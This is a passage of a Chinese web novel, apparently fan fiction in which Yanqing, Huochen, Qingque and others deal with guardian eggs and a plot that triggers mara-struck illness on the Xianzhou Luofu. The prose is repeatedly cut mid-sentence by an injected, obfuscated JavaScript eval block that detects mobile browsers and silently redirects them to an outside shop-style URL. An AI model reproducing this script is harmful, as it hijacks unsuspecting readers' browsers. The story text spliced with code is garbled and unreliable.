火尘沉默。 可即使不去想,问 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17326776|199128||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 题也依然在那里,又如何“常乐”? 火尘从来都不喜别人拿自己的经历套在他身上,他有手有脚有命活着,并不可怜,初至仙舟的怨气也在彦卿那一剑里早早消散——能长出这样的人,想来这里是个好地方。他这样想。 两年过去他依然想反驳丹枢,但丹枢那番话比起在说他,更像在说自己。 他知晓丹枢已是丹士长,丹鼎司医术的集大成者,即便如此,她依然对“天缺”没办法,因为那是丰饶的诅咒,涉及星神的力量,非人力所能及。 如今一提到无法改变的事情,就叫人一下想到她是天缺者,想到她的眼睛,一汪灰黑的深潭。 “丹枢大人可以……” 可以什么呢? 火尘不知道话题怎么拐到这儿来的,只知道世上不存在真正的感同身受,所以这种时候不能说“我同情”,也不能说“我理解”。 他憋半天,说出一句: “我会帮忙看顾小鱼。” 前言不搭后语,驴唇不对马嘴。 但丹枢笑了:“你不过百年寿数。” “小鱼也是会长大的,”火尘回想往常,“她学东西很认真,做事情也很专注。” 所以百岁的小鱼一定已经掌握了一些生存技能,不会像今日一般弱势了。 “不能改变的有很多,能改变的也不少。” 静。 跟之前一样安静,可丹枢不搭理他,就静得有些尴尬了。 他只得往别处扯:“您心情很好的样子,最近有什么好事吗?” 心情很好是火尘的判断,虽然对话内容不太好,但丹枢话比以往多很多。 丹枢总是静静的,静到外人都知丹士长深居简出、喜幽静,火尘除了初见那几次就没见她说过这么多话。本身他也不是爱找话的人,细想起来,除了初次见面竟再也没有深聊过。 “好事、好事……” “或许是好事吧。” 丹枢沉吟,情绪又回归平稳,话不说完,嘴角噙着淡淡的笑意,叫人听不明白也看不明白。 气氛缓和了,两人重又安静下来。 火尘看向室内,白露正在和做完检查的盲人小朋友玩摸头猜人的游戏,自己顶着顶角给人摸完了再闭上眼去摸别人的头,吃亏吃得很高兴。 小鱼……在? “怎么不玩了?” 他突然出声,吓得身后抓他衣角的小朋友一个激灵。 回头蹲下,小鱼后退两步问好,声音细弱:“火尘哥哥。” “嗯,在呢。” 小鱼朝他的方向露出一个笑脸。 丹枢也问,语气很温和:“检查完啦?” 小鱼向丹枢点头,重新来拉他衣角:“想和火尘哥哥说话。” 火尘不明所以,跟着走远些。 到了廊道转角,小鱼却不说话,目中无神像是发呆。火尘知道她是在组织语言,也不急,周围没地方坐,他就街溜子一样蹲路边。 他和小鱼也认识很久了,不如说,一开始就是因为帮了小鱼才会认识丹枢。小姑娘因为天缺生活中总有困难,自信心严重不足,还很容易被排挤欺负,长期下来越发沉默寡言。 如今想要主动说些什么,已经算是大进步了。 火尘蹲累了,换个姿势蹲。 小鱼组织好了,开口: “火尘哥哥,刚才白露大人跟我说,可以来问你,这个东西是什么……” 什么东……! 小鱼掏啊掏,从口袋里掏出他这几天再熟悉不过的东西——蛋。 蛋大到需小鱼两手捧着,纯白色,花纹像水滴入池荡开的涟漪,浅淡又温柔。 “能看到吗?火尘哥哥。” “能。” 小鱼一下高兴起来,把蛋往他的方向递,火尘伸手接过。 蛋壳看着光洁,摸上去却像在摸鱼鳞——这确确实实是守护蛋。 火尘看看小鱼,又看看蛋,一瞬间明白了彦卿的心情。 他蹲着挪两步,抬手摸摸小鱼的头,对上孩子茫然的眼。 希望你的守护甜心早日出生。 希望你有人陪伴。 8. 守护者 后续的解释交给了姗姗来迟的彦卿。 踏剑飞来的少年剑仙落到他面前,回手一掏,掏出四五张折叠凳:“抱歉,彦卿去忙别的了。” 火尘:完全不意外。 这个人来了之后,先是花半刻钟跟小鱼解释完并收获了“彦卿哥哥”的称呼;又跑到丹枢大人面前问什么检查报告,似乎没问到;再蹦去孩子堆里找白露大人;最后出门往他的方向走,边走边低头看玉兆,不知道是在给谁发消息。 火尘:…… 他有点生气,有点无语,但不知道在生气无语什么。 彦卿收起玉兆,抬头正对他,笑。 笑笑笑,那么爱笑。 彦卿走过来,没事人一样坐他旁边,问:“可有收获?” “有,”火尘知道是在问他蛋的事情,“守护甜心通常和主人很像,在紧急情况下诞生。” 可他的蛋只那一回发烫让他社死,此外便全无动静。 彦卿:“似乎是这样……” 自在:“不对吧,上次看到那个,就跟本人差别很大……” “有例外也难免,毕竟心的问题,总结规律总是会很困难……” 彦卿撑着下巴思忖,抬眼时许是惊讶他无精打采的样子:“火尘,你怎么了?” “……嗯。” “我现在送你回去?还是说生病了在附近开点药……” “我想回去。” “好,我们这就回……” “彦卿。” “嗯?” 火尘看着原本为别的忙东忙西、又为他忙东忙西、现在被他一句话叫住的少年,一点气都生不出来了。 说到底,他本来就不知道自己在气什么。 因为不想出门却被带出来了?这个无所谓;因为等了大半天不见人影?他是来听白露讲概念的;因为还是不知道自己的蛋怎么开?他本来就不想开;因为…… 彦卿被他叫住了,立在他面前神情疑惑,还在等他下文。 他突然很无力。 因为这个人从早忙到晚没休息过。 是正常人? 火尘抓抓头发,吸气像叹气:“不用送了。” “里面不少人跟我一样住长乐天,我一会儿跟他们一道走就是。” 这种检查,通常由丹鼎司安排接送,多出一两个空位很平常。 小鱼出来了,仰头笑:“我知道,火尘哥哥要蹭星槎。” 他薅一把小孩头毛:“干什么,不让蹭啊。” 不少天缺者也检查完了,三三两两站在一起,听到这话传出几声善意的笑声。 “有位置吗?”以防万一还是问一遍。 听得好几声“有”,他回头继续说:“还有一件事。” 彦卿正探头看声源,听到这句就转回来:“什么?” “白露大人说长乐天的守护者缺位,问我愿不愿意补上。” 彦卿睁大眼睛。 “我刚才说不想,现在想了,”火尘几下划进大群,找到上一位守护者的联系方式加上,抬头,“就是这样,彦卿大人。” 于是当天傍晚。 “就是这样。” “原——来如此,欢迎欢迎,欢迎新同志!” 面前少女棕发绿瞳,左侧自发鬓梳出一根细细的麻花辫,和左边的低马尾编到一起,发绳上的青白色小雀团子像是能代表本人的吉祥物,看着年纪不大,很好说话。 最重要的是,她很眼熟。 “原来长乐天的退休守护者是你啊,”火尘懒懒往后一靠,“青雀。” 青雀也往后一靠,哈哈乐:“我也没想到,补位的会是你啊。” 火尘认识青雀,纯属孽缘,至少在青雀之前,他从没见过有人会拿别人的检查报告开药,开完药再去找领导开假条,还成功了的。 药留给他,青雀只要假期。这样的事情只消来上一两次,两人就差不多混熟了。 “你领导真看不出来吗?” “我领导,”青雀转转眼珠子,“看出来了呀!但我一年才整这么两回,她人好,不跟我计较。” 火尘对此保持怀疑态度。 扯回今天的话题。 在短短几分钟内第五次有人路过跟青雀打招呼之后,他问:“长乐天的人你都认识?” “怎么可能啊,”青雀翻翻自己提溜来的零食,扔给他一包瓜子,“知道长乐天多少人嘛。” 路人:“欸,青雀!” “噢,小天老板,下班啦,一会儿老地方打牌啊。” “行!” 火尘觉得自己这辈子都不可能做到青雀这样——虽说青雀似乎已经活了他一辈子的寿数了。 “你一个人都不认识也没关系,”青雀让他放宽心,“守护者嘛,就是打‘坏蛋’的,只关注蛋。” “至于那些真坏蛋,我们这样普通的仙舟居民,撞上了只要报警就好啦。” 火尘突兀出声:“危险吗?” “危险?怎么会,”青雀眨巴眼睛,“长乐天是居民区,那些坏蛋普遍不擅长攻击,黑化的理由倒是很多很杂。” 跟他想的一样。 “可彦卿说危险。” 青雀一下乐了:“小孩子。” “天才少年嘛,我听过。少年不识人心呀。” “打工人都知道,表现积极、做事认真还好哄的年轻人,都是要被当牛马使的。” “他不拒绝,那自然什么高难度的任务都往他那里塞,怕是根本都不知道正常难度什么样。” 火尘不搭腔。他好像又不高兴了。 “来来,前辈带你见识见识,你大概就明白是怎么回事了。” 他跟上。 青雀似乎无论何时都步履轻盈,正常走路也像在小跳,背着手,嘴里哼着不成曲的调子。 火尘跟在后头走神,想起彦卿快走时常人难以跟上的速度,和彦卿对他的第一次回绝: “你的蛋还没孵出来呢,万一抓捕时被坏蛋伤到了怎么办?” “长乐天的守护者为数甚众,只是少一个人,还不至于紧急到这份上……” 是善意、担忧和保护欲。 但有时候,过度保护也可看作轻视。 他不愿意这样想彦卿,最后用从丹枢那里总结来的话劝服了对方: “……并非没有愿望,而是根据经验判断做不到,就自己把愿望藏起来了。” “说白了是信心问题,我觉得很有道理。” 什么时候有信心了,蛋自然就孵出来了;想要积攒信心,自然多做些事才好,再不济多见见守护蛋相关的事件也好。 彦卿依然不赞同,但没再拦着他,只说神策府就在长乐天,遇上事了可以去找他。 神策府,想也知道不是能随便出入的地方吧。 火尘叹气。 “到了。”青雀停下。 他跟着停,环顾四周,发现青雀也没带他去别的什么地方,只是转个弯又下几级阶梯,到了长乐天中央的广场。 青雀伸个懒腰,随便在路边石椅坐下,背靠一家小书屋,右边是地衡司公廨。 长乐天人来人往,远处建木静静矗立,从这里只能看见中央一截。 “看看,然后说你看到了什么。” 哦。 火尘也坐下——在偷懒这件事上,他和青雀可谓臭味相投。 不过看来看去都是不认识的脸,没什么要注…… “嗯?” 青雀顺着他视线看过去,毫不意外:“看到了吧。” “嗯。” 一个小孩,嘴撅得可以挂油壶,站在墙角闷闷不乐,雪白的蛋悬浮在脑袋边。 隔得远,火尘眯起眼试图看清:“……有点黑。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“白露大人说,你的蛋‘回去了’。” “嗯!嗯……”青雀先应了一声,随后撑着下巴思考,“怎么跟你说呢……” “并不是消失,而是‘回去’了,她还在,具体在哪里我也不清楚。” “虽然没人陪着说话了有点寂寞,但我完全不难过!” 青雀笑嘻嘻:“因为她这样跟我说了——” “青雀一定会过得很好,青雀现在就过得很好。” 火尘似懂非懂,青雀一拍他背,又翻起那个零食口袋: “你不是蛋都还没孵出来嘛,想这些还太早啦。” “鉴于你这个不稳定的情况,上面也给你配备了不少工具,总之都是抓坏蛋的。” 火尘看着青雀一把一把往外掏的工具,又看看那个小口袋:“……我还以为这是你上班带零食的袋子。” 青雀一顿,看看口袋,向他投来赞许的目光,做了个私吞的假动作:“真是个好主意。” 火尘:喂。 说说而已,青雀把工具掏出来给他看一遍又统统塞了回去,连同黑科技储物袋一起留给他。 “不过我平时用不到,就没怎么注意用法,你是工造司的吧,自己摸索下啦。” 行。火尘低头翻翻口袋。 “好!最后一步!”青雀抬手一指,“走走,带你去见现在的队长!” 火尘亦步亦趋跟着走,又是没两步就停了,抬头,牌匾上书“三余书肆”。 眼熟,好像是彦卿上次带他来看绘本那家。 小老板依然坐在高凳上,手撑着脸趴在柜台翻书看,似乎正看到精彩处,见有人来,只略一抬头又低下去: “……这里是书店,要是想看书、选书,直接进店翻阅就好,要结账的时候再来叫我吧。” 青雀熟门熟路进书屋:“隐书队长,是我呀,给你带新人来了。” 隐书抬头。 火尘进来,正跟人对上眼。 “哦?”小女孩身形的老板恍然,“你是上次彦卿带来的那个……” “是我,”他点头,跟着喊,“队长好。” 9. 长乐常乐 “真的没问题吗?” “能有什么问题呀。” 火尘跟着人群一道走了,彦卿看着人走,还是没忍住问白露。 “长乐天,也就追猫逗狗、家长里短的事呗,”其实白露也不懂这些,她很少出门,但她毕竟是大前辈,此时端出老成持重的样子,“再说还有人带他呢,长乐天又不止一个守护者。” “你实在不放心,找时间自己看看呗。” 彦卿抓抓头发,也不知道听没听进去,倒是听到玉兆消息提示,低头操作起来。 “我走了哈,再不回去他们要来抓我了。”白露摆摆手告别,她今天玩得很尽兴,小鱼也回去了,现下倒没有平常那样舍不得回。 “彦卿送您?” “用不着,你也早点回吧。” 她看见彦卿应声,然后站在原地没动弹,心里嘀咕:每次应得好好的,听倒没听几回。 自在依然趴在彦卿脑袋上,直起身子左右瞧瞧,人群散去后,周围只剩零星几个人了,显得分外空旷。他扁嘴,彦卿没看见,只立在原地查看信息。 “游山发来的记录……” 和游山师兄类似的还有三五例,发作之人都呈现魔阴身被提前引发的迹象,问周遭人,有说奇怪的,也有说很正常的。 「那家伙是个暴脾气,动不动就砍死你砍死你的……」 「那家伙最睚眦必报了……」 「我记得那个人已经五百多岁了吧……」 可无论这些理由怎么合理,云骑士兵接二连三被提前诱发魔阴身是不争的事实。 虽然拜托丹士长研究了,但想来一时半会儿不会有进展。 “术业有专攻,”游山跟他说,“我们不是学丹药的,急也没用,只能等人家研究出来。” 然而他自己也很急。 彦卿呆立片刻,又转回游山师兄的病房。 自在轻声喊他:“彦卿?” 他抬手安抚一下小家伙:“怎么了?” 自在摇头:“没事,很晚了,不回去吗?” 彦卿视线重新转回床上人:“再等等。” 虽然他也不知道是等什么。 丹鼎司的天色依旧阴沉,看不出时间流逝,彦卿坐在床边,来回翻看游山给他的记录。 信息还是太少了……倒是能总结出“情绪不稳”的共性,只不过若单凭共性就说这是魔阴身的诱因,又似乎太不考究了。 他收起玉兆,垂头时不经意一瞥,愣住: 黑化的心灵之蛋正要从床上人胸前钻出来,看到他,吓得一颤往回缩。 彦卿眼疾手快按住,抓到手里观察。 自在:“不放回去吗?” 彦卿摇头,盯着蛋,眼中爆出亮光。 对啊,心灵之蛋也是重要线索。 上次这个人从头到尾都处于不清明的状态,他捕获到黑化蛋之后交给白露大人治愈,居然没有效果;强塞回去看看人会不会醒来,最终也没醒。 但这个蛋是醒着的。 “你想去哪儿?” 黑化蛋不说话,只在他掌心发抖。 彦卿要做一个尝试。 他松手,黑化蛋颤颤巍巍飘了两三步,回头看他,他摊手。 黑化蛋狂喜冲向天花板! ——被瞬间冰冻。 彦卿:“走门。”回头丹鼎司病房屋顶也给你撞破。 黑化蛋委委屈屈,从门口飘出去,彦卿抬步跟上。 心灵之蛋是从人的心里诞生的,黑化之后也一样。黑化蛋如今要去的地方,想来就是这人执念所在。 或许会有线索呢? 彦卿这样想,到了之后却大失所望。 蛋没飘多远,还在丹鼎司内,他隔得老远就看见游山,似乎正在完成清缴孽物的工作。 也是啊。 彦卿想起当日的谈话内容:因嫉妒天才而黑化,那昏迷后依然记得的执念,自然是游山。 自己还是想太少了。 游山看到他了,站在刚死的孽物前笑着冲他打招呼。 彦卿从剑上跳下来,一把抓住蓄力中的黑化蛋塞到特制工具里,回一个笑。 “怎么到这儿来了?” “呃,”彦卿没想好怎么解释,索性转移话题,“我来给你们帮忙吧!” 游山有些疑惑地看看他,也没多问,一口应下:“那真是再好不过!” 日常的清缴孽物于二人都相当熟练,任务解决,游山和同队人会合。 彦卿返程路上拧着眉。 自在又叫他:“彦卿。” 彦卿抬头:“总觉得哪里遗漏了……自在,你说诱发魔阴身的药物都需要用到哪些材料呢?普通丹士应该没法……” 自在跺脚:“不!知!道!” 空中跺脚没声音,但怨气属实很重。 彦卿纳闷:“怎么生气了?” 自在凶巴巴:“去那边坐着!” 彦卿回神,发现自己已经下星槎回到长乐天了,洞天入口处的点心店传来好闻的香气。 他过去坐下。 自在落到桌上叉腰:“点单!吃饭!” 彦卿听话一一照办。 自在盘腿在桌上坐下,正对彦卿,开始小型恶龙咆哮: “我要说——” “我的耐心已经到极限了!” “让吃饭不吃饭!让休息不休息!” “你真是我带过最不省心的主人了!” 彦卿:“……你只有我一个主人吧。” “我不管!不许说!”自在瞪眼,气鼓鼓的样子让彦卿想起在外星生物图鉴上看过的一种鱼,“反正就是不好!” 彦卿有点想笑,放轻声音:“好,是我不好,对不起?” “不许道歉!不许对不起!”自在继续瞪眼,“越道歉我越生气!再道歉就不管你了!” 彦卿:……行。 真难哄啊。 点心端上来了,彦卿不常在外面吃,只点了招牌貘馍卷和鸣藕糕,倒是人家附赠了一笼奶黄包。 “是上错了吗?”他疑惑,叫住来人,“彦卿没点这个。” “哦,”上菜人就是店老板,笑容满面,“这是送彦卿大人的,祝您吃得开心!” 彦卿惊讶,随即笑弯眼接受了好意:“多谢老板!” “日后常来照顾小店生意呀!” “一定!” 自在坐在盘子边看人离开,终于高兴了点:“真好,老板真好,正好你再多点几盘,就当照顾人家生意嘛,那么点东西也不够吃的。” 彦卿哭笑不得,切碎点心,叉起一小块投喂过去:“不能把点心当饭吃吧。” 自在接过叉子,张大口“啊——”,含着点心得意:“我就要”。 一大一小吃完点心溜达回府,正赶上晚饭时间。 将军已经吃完了,见他就笑:“我还当要叫人寻你。” 彦卿讪讪坐到桌边,发现自己没什么食欲,解释:“刚才在外 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17326778|199128||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 面吃了点心。” 将军失笑:“怎么没给我带点回来?” 糟,忘了。 彦卿抬头保证:“下次一定。” 将军不缺他这两口点心,闲聊几句就回书房了。 自在飘在空中转圈,感叹:“将军今天也看不见我。” “将军以前是能看见的。”以前还当过守护者呢。 彦卿三口两口吃完饭,洗漱完坐到床边,推开窗,庭中月光亮堂堂。 彦卿的世界很少有烦恼,遇上的事情很多,可无一例外都会被他解决,这次想来也一样。 黑化蛋被他锁在特制盒子里,自在躺回自己的小房间,显然也已经睡着。彦卿关上窗户,趴在枕头上昏昏欲睡,半梦半醒之间,突然想起火尘那个没孵出的蛋。 等这件事结束,再去看看好了…… 也不知道长乐天,他能不能应付得来…… 第二天。 崭新的早晨就是会冒出崭新的主意。彦卿练完今天的两万下,神采奕奕。 虽然黑化蛋昨天是跑去找游山,但也不一定就只跟着游山走,他大可以在可疑的地方排查一圈再把蛋放回去。 毕竟,拿都拿出来了,不能浪费。 他看长乐天就挺可疑。 出了神策府,立刻就给自己在最近洞天找事做的骁卫大人,愉快迈步走向某人家。 然后就有了现在的情形: “早上好火尘!你的蛋孵出来了吗?” 火尘站在阳台,面无表情吐牙膏沫,低头看一眼:很好,三层楼;再抬头看一眼:很好,和剑长到一起去的御剑飞行小天才。 “没有。”反正他完全不着急。 “长乐天的工作怎么样?” “还好,”火尘想想,决定报喜不报忧,“有人带我。” 其实不太好。 长乐天人多、蛋多,火尘初接班,做不到像青雀那样松弛,路过一个蛋稍微黑了些就一直盯着,非常消耗精力。 比如说现在,火尘咬着牙刷,伸手一指下面:“你看那里。” 彦卿看过去:一个成年男人。 “不,他是未成年,一个二百五,”火尘面无表情,解释之后依然像在骂人,“我是说他二百五十岁。” 哦哦。彦卿点头,仔细瞧了眼,那人身边飘着一个黑了一半的蛋。 “他在烦恼,”彦卿看明白,“需要干涉吗?” “不用。”别人没法确定,这个二百五未成年他还是能确定的,一天到晚各种理由心情不好,心情一不好蛋就要黑一下,看得火尘都麻了。 “你那边呢?”他问。 “嗯?” “你昨天在忙吧,”才过去一天,很难不记得,火尘仔细观察彦卿的表情,“解决了吗?” 根本不用仔细观察,彦卿脸一垮,抬手烦躁抓头发:“没呢。” 被这么一提醒,见过了火尘,他也该去办正事了。 火尘状态比他想得好得多。彦卿想,第一次见面的时候,他就知道火尘很厉害。 “我走了。” 新上任的守护者摆摆手,一身松弛,看得他也不由精神放松了几分,飘飘忽忽,在黑化蛋猛地加速时险些没反应过来。 但好在他速度够快,三两下追上后,定睛一看:一处小院子。 彦卿站在门口,扫了一眼院落,又回头看门——院门窄小,稍不留神就会错过;门外人来人往,十分热闹。 怎么看也不像可疑地点。 10. 疑云 院子真的很小。 彦卿进来后感受更加分明——比他的房间、他的藏剑室、不对,比神策府的杂物间还要小。 院子角落放了一张随处可见的木桌,上面空无一物,配上随处可见的凳子,显得再正常不过。 然而黑化蛋正在手中剧烈挣扎,反应前所未有的强烈,比昨日见到游山时更甚。 彦卿凝视桌面,伸手抹了一把——没有灰,很干净,甚至过分干净了。 门外传来说话声,彦卿一凛,轻轻跃上墙外树梢,借树影遮挡身形,屏息。 两个成年男人。 “大人,我的代号呢?” “哼,代号?拿着经文去那边抄上五百遍再来谈代号吧。” 五百遍?彦卿眨眨眼,他讨厌抄书,别说五百遍,五遍都不行。 问话人却像得了什么大便宜,高高兴兴地就开始抄了。 奇奇怪怪的。彦卿按住越发不安定的黑化蛋,预备多看一会儿。 然而底下两人却再无更多动作,一人抄书,一人站在墙边扫视院落。 这是警戒状态,他或许发现了什么。 彦卿继续屏息,在树上缩成一团,黑化蛋以要干架的气势在他掌心转来转去,磨得指尖疼,他也不好多动,只继续按着。 底下人似乎已经抄完两遍,歇歇手:“大人,抄完经文我们是去丹鼎司吗?” “大人”懒懒道:“去丹鼎司干什么,你又不懂那些……” 话到这里又突然严厉:“啧,不该问的别问!” 抄书人唯唯诺诺赔笑应声:“哎,是是,对不住,药王慈怀,药王……” 药王! “抄你的书吧!”为首人狠踢一脚凳腿。 彦卿心头大震。 冷静,彦卿,虽说理论上任何守法的联盟公民都不会念出这个敬称,但在仙舟居住的丰饶信众也不少,不一定就是……! 一时松懈,黑化蛋挣出他手心,直直往两人方向冲撞。 “轰——!” 为首人狼狈闪开,回身只看见墙上蛛网状的裂纹,声音发颤:“有人……” 抄书人抱头蹲在墙边瑟瑟发抖:“有鬼……” “跑!” “好!” “把经文带上傻子!” 彦卿准备好被人发现再出手偷袭,却没料到对方如此果断地决定逃跑,追出去时那两人已经汇入长乐天的人流,遍寻不得。 今日似乎是长乐天的节庆,街道上的人比往日还多,人人穿红戴绿,找两个没有明显特征的人无异于大海捞针。 彦卿站在剑上茫然,听得远处“轰隆”一声响——是逃走的黑化蛋在搞破坏。 他咬牙,御剑疾驰而去。 搞砸了,他搞砸了。 看到火尘躺在倒塌的废弃快递盒堆里时,越发清晰地意识到自己搞砸了。 “抱歉火尘。”他一个一个把箱子扒拉开——还好都是空的,要是里面装了东西还砸到短生种,后果不堪设想。 火尘注视他好一会儿,不说话。 到他把快递箱搬开后,火尘才腾出手,摸摸他的头,语气很无奈,声调很轻柔,就像他们熟识已久: “怎么又在道歉啦?” 彦卿低头,险些控不住情绪。 “我是不行了,那个蛋靠你了,彦卿大人,”火尘没多说话,拍拍彦卿肩膀,盘腿坐到一边远离快递箱,“我怀疑这东西克我。” 朋友在逗他笑。 彦卿抬头配合弯弯眼,拔剑破空,擒回蛋不过瞬息。 火尘看着被装进特制盒子依然在不断挣扎的蛋,问:“所以,你原本打算拿这个蛋做什么?” “利用‘心灵之蛋前往执念所在’的特点找线索。”彦卿直说,避开具体事件,火尘也没问。 火尘挑眉:“聪明的做法。” “聪明?场面一片混乱,我要跟的人也找不到了。” “你在哪儿找线索呢?” “里街,闹市区。”听着像在给自己跟丢找理由,彦卿不想找理由。 “那多正常,怪不得你,”但是火尘天然乐意找理由,“那边今天有家新店开张,老板厨师都是化外民,好像还有免费试吃活动。” 看热闹是人的天性。仙舟人活得久、时间多,不愁温饱,没什么生活压力,又喜欢吃——碰上化外民开店这种热闹,就免不得要凑一凑。 “这样啊。”彦卿叹气,那便是他今日来得不巧。 旋即又看向黑化蛋,对它说话,像在自言自语:“我还当你会追上去呢,谁知道只是在搞破坏。” 黑化蛋在盒子里滚两下,权当回应。 火尘瞅两眼,没见着彦卿身边小人:“自在呢?” “我把他送去白露大人那边了,”彦卿无奈,“自在太关注我了,他在会让我分心,我追查时也不太能顾得上他。” 火尘默,张口:“肯定生气了。” “可不止,早晨大哭了一场,还说这辈子都不要理我了。” “等过阵子吧,”彦卿捂头叹气,想想,“等事情都解决了,我再跟自在赔罪,现在他可以在白露大人那里跟白云玩。” 火尘拧眉,不太赞同,虽然他是彦卿领进门的,但:“说真的彦卿,我觉得你在对待守护甜心上存在一个很大的误区……” “白露大人?”彦卿喃喃,眼睛猛地发亮,“对了,丹鼎司!他们说了丹鼎司!虽然还不能确信,但想来应该是有关联的,去一趟也没坏处……” “我现在就去丹鼎司!” “火尘,我走了!哦对!今天是你当守护者第一天!祝你一切顺利!” 火尘闭嘴,看刚才蔫了吧唧的家伙一瞬间像是打了鸡血一样振作起来,自说自话地御剑“嗖”一下飙走了。 他看着长乐天高空中远去的绚丽流光,有什么话都只好留到下次说,叹气:“算了,也祝你一切顺利。” 他也还没想明白,关于彦卿和自在。 彦卿关心自在,自在关心彦卿,表现出来像两个单独的个体。 因为他对守护甜心的认知最初全来自彦卿,于是也认为这样很自然。 但见过白露、青雀、隐书队长之后,彦卿和自在的相处中尤为奇怪的那一点就被凸显出来了: 彦卿在拒绝自在的力量。 很默契、很融洽、很温馨,但彦卿似乎不把自在当作理想中的自己,而是当作一个……需要被照顾的小弟弟? 火尘托腮思索:为什么? 「靠守护甜心得来的力量,说到底不是自己的力量。」 他想起彦卿说过这样的话,这句话本身没什么问题,但结合彦卿对自在和对自己的态度,简直就像是“不可妄想一步登天”的规训,正因如此自在才…… 火尘觉得自己快捋清楚了。 “你来得好早,新队员……我记得是叫‘火尘’?” 但是被人叫住了,他回神,发现自己已经站在书店门口,昏黄的灯光令人心情平静,个子小小的队长像昨晚一样坐在柜台边,冲他打招呼。 “早上好,隐书队长。” “叫我隐书就好。” 虽然看起来只是普通的看店小童,但隐书说话不疾不徐,给他一种跟面对白露时一样的感觉。 “你若是再早些,都能赶上西衍先生出门了,哦,他是不夜侯茶馆的说书先生,你在星槎海说不定见过他,这家书店也是他的。” 星槎海,罗浮的新兴商业中心 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17326779|199128||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,人流爆炸多。火尘对说书不感兴趣,想了一圈没想起来。 “扯远了,你来这边填个表吧,想填纸质的也行。” 他们昨天已经见过面了,但那会儿只简单打了个招呼,该走的流程都没走。 火尘表示不用那么麻烦,隐书就扒拉扒拉面板放大给他看: “守护者平时其实没什么事情要做,我们排班轮值,发现黑化蛋当值的先追,同时在群里联系大家,没事的话可以坐我这儿看书……你是工造司的对吧?” “嗯。” “有固定的工作时间吗?如果接青雀的班,每周来三天就好。” 隐书熟练翻出一沓纸,“唰唰”几笔递过来:“你拿着这个去地衡司盖章,再去工造司找你师父盖章,等许可下来,那三天你就来我们这里,不用去工造司了。” 火尘接过,扫一眼内容,看到底部三个空格,第一格已经盖了相当正式的“守护者”印戳。 “怎么了,新队员?” 头一次如此清晰地感受到“守护者”其实是个正规部门,虽然管理貌似很松散。 火尘摇摇头,示意没什么。 如果守护者当值那三天长乐天都无事发生,就相当于白得三天假期……头脑一热主动请缨,做足准备后发现比自己想象的轻松,一下不知道该干什么好了。 火尘看看时间,今天不是他当值,那他盖完章还得回工造司上班才行,索性就跟人告辞。 隐书已经翻开今天要看的书:“嗯,再见。” 他转身。 “对了,你刚才为什么心情不好?” 他回头,正在看书的小队长头都没抬,但确实是在问他。 “……刚才?”他装傻。 “就是我跟你打招呼的时候。”对面不理会他装傻,抬头看过来。 守护者大概都是一群直觉怪。 隐书早慧,但刚才火尘就注意到她没有持明的尖耳朵,是真正的孩童。在孩童的目光下,说实话才是最优解。 火尘回身,踌躇片刻开口: “我刚才见到彦卿,他的守护甜心不在身边,我有点担心。” “彦卿骁卫?”隐书听了有些惊讶,“他和守护甜心的关系一直都挺稳定的,守护甜心有自己的想法,不在身边倒也正常……怎么了吗?” “没怎么,就是感觉……可能是错觉吧。” 他预备打哈哈略过这个问题了,隐书却摇摇头: “虽然很难想象彦卿骁卫会出什么问题……” “但是‘感觉’很重要哦,”小小的队长提点他,“守护甜心这种存在本身就很不科学吧,所以大部分时候,‘感觉’都是守护者下判断的重要依据。” “相信自己的感觉,不确定的话可以多多观察,但不要当作错觉糊弄过去。” 火尘沉默片刻,点头,转身离开去地衡司盖章。 地衡司每天都有很多人,排队排到他,听见“欸?”的招呼声,才发现对面坐的正是那天请他来问话的执事。 才过去两天,发生的事情可真不少。 他感叹,应下招呼递过单子,看执事摸摸脑袋去后面请示执事官,百无聊赖等着,一边听旁边的人闲聊,说是最近抓了几个搞传销的,话都答不明白。 “怎么答不明白了?装的吧。” “问名字都答不出来,一直念叨什么‘药王药王’的……” “有病吧?” “咱还能有啥病啊……” 火尘随便听两耳朵,执事还没回来,掏出玉兆扒拉两下,一个新闻正标题映入眼帘: “丹鼎司爆炸事故……” 丹鼎司? 「“我现在就去丹鼎司!”」 彦卿! 11. 追踪无果 彦卿知道这次沟通不会有结果,他看到将军的眼神就知道。 “在我们都看不见的地方,有人正在徐徐图之,要将罗浮闹个天翻地覆。” “此事牵连甚广,必然无法善了,我们必会叫所有作恶之人付出应有的代价。但在此之前,我们需要一点耐心。” “彦卿,你相信我吗?” 温和、稳重、神机妙算、掌控全局,不发一言,不露深浅,这是他认识的将军。 